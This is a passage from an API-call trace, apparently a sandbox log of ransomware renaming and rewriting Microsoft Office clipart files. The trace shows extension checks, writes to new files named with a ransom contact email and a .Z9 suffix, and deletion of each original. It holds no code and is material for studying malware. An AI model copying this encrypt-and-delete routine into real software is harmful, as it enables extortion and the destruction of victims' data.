	[0164.523] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0164.523] lstrlenW (lpString=".bz2") returned 4
	[0164.523] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0164.523] lstrlenW (lpString=".7z") returned 3
	[0164.523] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0164.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0164.523] lstrlenW (lpString=".dbf") returned 4
	[0164.523] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0164.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0164.523] lstrlenW (lpString=".1cd") returned 4
	[0164.523] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0164.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0164.523] lstrlenW (lpString=".jpg") returned 4
	[0164.523] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0164.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0164.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0164.523] lstrlenW (lpString=".doc") returned 4
	[0164.523] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0164.523] lstrlenW (lpString=".docx") returned 5
	[0164.523] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0164.523] lstrlenW (lpString=".pdf") returned 4
	[0164.523] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0164.523] lstrlenW (lpString=".xls") returned 4
	[0164.523] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0164.523] lstrlenW (lpString=".xlsx") returned 5
	[0164.523] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0164.524] lstrlenW (lpString=".ppt") returned 4
	[0164.524] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0164.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0164.524] lstrlenW (lpString=".zip") returned 4
	[0164.524] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0164.524] lstrlenW (lpString=".rar") returned 4
	[0164.524] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0164.524] lstrlenW (lpString=".bz2") returned 4
	[0164.524] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0164.524] lstrlenW (lpString=".7z") returned 3
	[0164.524] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0164.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0164.524] lstrlenW (lpString=".dbf") returned 4
	[0164.524] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0164.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0164.524] lstrlenW (lpString=".1cd") returned 4
	[0164.524] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0164.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0164.524] lstrlenW (lpString=".jpg") returned 4
	[0164.524] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0164.524] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0164.524] lstrlenW (lpString="J0099170.WMF") returned 12
	[0164.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0164.737] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=24292) returned 1
	[0164.737] CloseHandle (hObject=0x44c) returned 1
	[0164.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 0x220
	[0164.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0165.346] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.346] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0165.664] GetLastError () returned 0x0
	[0165.664] ReadFile (in: hFile=0x470, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x5ee4, lpOverlapped=0x0) returned 1
	[0165.667] WriteFile (in: hFile=0x484, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x5ef0, lpOverlapped=0x0) returned 1
	[0165.669] ReadFile (in: hFile=0x470, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.669] WriteFile (in: hFile=0x484, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.669] SetEndOfFile (hFile=0x484) returned 1
	[0165.669] CloseHandle (hObject=0x484) returned 1
	[0165.669] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.669] SetEndOfFile (hFile=0x470) returned 1
	[0165.672] CloseHandle (hObject=0x470) returned 1
	[0165.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0165.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 1
	[0165.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0165.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0165.676] lstrlenW (lpString=".doc") returned 4
	[0165.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.677] lstrlenW (lpString=".docx") returned 5
	[0165.677] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0165.677] lstrlenW (lpString=".pdf") returned 4
	[0165.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.677] lstrlenW (lpString=".xls") returned 4
	[0165.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.677] lstrlenW (lpString=".xlsx") returned 5
	[0165.677] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0165.677] lstrlenW (lpString=".ppt") returned 4
	[0165.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0165.677] lstrlenW (lpString=".zip") returned 4
	[0165.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.677] lstrlenW (lpString=".rar") returned 4
	[0165.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.677] lstrlenW (lpString=".bz2") returned 4
	[0165.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.677] lstrlenW (lpString=".7z") returned 3
	[0165.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0165.677] lstrlenW (lpString=".dbf") returned 4
	[0165.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0165.677] lstrlenW (lpString=".1cd") returned 4
	[0165.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0165.677] lstrlenW (lpString=".jpg") returned 4
	[0165.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0165.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0165.677] lstrlenW (lpString=".doc") returned 4
	[0165.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.678] lstrlenW (lpString=".docx") returned 5
	[0165.678] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0165.678] lstrlenW (lpString=".pdf") returned 4
	[0165.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.678] lstrlenW (lpString=".xls") returned 4
	[0165.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.678] lstrlenW (lpString=".xlsx") returned 5
	[0165.678] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0165.678] lstrlenW (lpString=".ppt") returned 4
	[0165.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0165.678] lstrlenW (lpString=".zip") returned 4
	[0165.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.678] lstrlenW (lpString=".rar") returned 4
	[0165.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.678] lstrlenW (lpString=".bz2") returned 4
	[0165.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.678] lstrlenW (lpString=".7z") returned 3
	[0165.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0165.678] lstrlenW (lpString=".dbf") returned 4
	[0165.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0165.678] lstrlenW (lpString=".1cd") returned 4
	[0165.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68
	[0165.678] lstrlenW (lpString=".jpg") returned 4
	[0165.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.678] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0165.679] lstrlenW (lpString="J0099185.JPG") returned 12
	[0165.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0165.680] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=3282) returned 1
	[0165.680] CloseHandle (hObject=0x470) returned 1
	[0165.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 0x220
	[0165.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0165.681] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.681] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0165.682] GetLastError () returned 0x0
	[0165.682] ReadFile (in: hFile=0x470, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0xcd2, lpOverlapped=0x0) returned 1
	[0165.684] WriteFile (in: hFile=0x484, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xce0, lpOverlapped=0x0) returned 1
	[0165.685] ReadFile (in: hFile=0x470, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.685] WriteFile (in: hFile=0x484, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.685] SetEndOfFile (hFile=0x484) returned 1
	[0165.699] CloseHandle (hObject=0x484) returned 1
	[0165.699] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.699] SetEndOfFile (hFile=0x470) returned 1
	[0166.106] CloseHandle (hObject=0x470) returned 1
	[0166.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 1
	[0166.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0166.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0166.107] lstrlenW (lpString=".doc") returned 4
	[0166.108] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0166.108] lstrlenW (lpString=".docx") returned 5
	[0166.108] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0166.108] lstrlenW (lpString=".pdf") returned 4
	[0166.108] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0166.108] lstrlenW (lpString=".xls") returned 4
	[0166.108] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0166.108] lstrlenW (lpString=".xlsx") returned 5
	[0166.108] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0166.108] lstrlenW (lpString=".ppt") returned 4
	[0166.108] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0166.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0166.108] lstrlenW (lpString=".zip") returned 4
	[0166.108] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0166.108] lstrlenW (lpString=".rar") returned 4
	[0166.108] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0166.108] lstrlenW (lpString=".bz2") returned 4
	[0166.108] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0166.108] lstrlenW (lpString=".7z") returned 3
	[0166.108] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0166.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0166.108] lstrlenW (lpString=".dbf") returned 4
	[0166.108] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0166.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0166.108] lstrlenW (lpString=".1cd") returned 4
	[0166.108] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0166.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0166.108] lstrlenW (lpString=".jpg") returned 4
	[0166.108] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0166.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0166.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0166.108] lstrlenW (lpString=".doc") returned 4
	[0166.109] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0166.109] lstrlenW (lpString=".docx") returned 5
	[0166.109] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0166.109] lstrlenW (lpString=".pdf") returned 4
	[0166.109] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0166.109] lstrlenW (lpString=".xls") returned 4
	[0166.109] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0166.109] lstrlenW (lpString=".xlsx") returned 5
	[0166.109] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0166.109] lstrlenW (lpString=".ppt") returned 4
	[0166.109] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0166.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0166.109] lstrlenW (lpString=".zip") returned 4
	[0166.109] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0166.109] lstrlenW (lpString=".rar") returned 4
	[0166.109] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0166.109] lstrlenW (lpString=".bz2") returned 4
	[0166.109] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0166.109] lstrlenW (lpString=".7z") returned 3
	[0166.109] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0166.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0166.109] lstrlenW (lpString=".dbf") returned 4
	[0166.109] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0166.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0166.109] lstrlenW (lpString=".1cd") returned 4
	[0166.109] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0166.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0166.109] lstrlenW (lpString=".jpg") returned 4
	[0166.109] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0166.109] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0166.110] lstrlenW (lpString="J0099190.JPG") returned 12
	[0166.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.415] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=43892) returned 1
	[0166.415] CloseHandle (hObject=0x4cc) returned 1
	[0166.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 0x220
	[0166.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.416] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.416] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0166.417] GetLastError () returned 0x0
	[0166.417] ReadFile (in: hFile=0x4cc, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0xab74, lpOverlapped=0x0) returned 1
	[0166.682] WriteFile (in: hFile=0x47c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xab80, lpOverlapped=0x0) returned 1
	[0166.683] ReadFile (in: hFile=0x4cc, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.683] WriteFile (in: hFile=0x47c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.684] SetEndOfFile (hFile=0x47c) returned 1
	[0166.684] CloseHandle (hObject=0x47c) returned 1
	[0166.684] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.684] SetEndOfFile (hFile=0x4cc) returned 1
	[0166.687] CloseHandle (hObject=0x4cc) returned 1
	[0166.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.889] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 1
	[0166.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0166.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0166.889] lstrlenW (lpString=".doc") returned 4
	[0166.889] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0166.889] lstrlenW (lpString=".docx") returned 5
	[0166.890] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0166.890] lstrlenW (lpString=".pdf") returned 4
	[0166.890] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0166.890] lstrlenW (lpString=".xls") returned 4
	[0166.890] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0166.890] lstrlenW (lpString=".xlsx") returned 5
	[0166.890] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0166.890] lstrlenW (lpString=".ppt") returned 4
	[0166.890] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0166.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0166.890] lstrlenW (lpString=".zip") returned 4
	[0166.890] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0166.890] lstrlenW (lpString=".rar") returned 4
	[0166.890] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
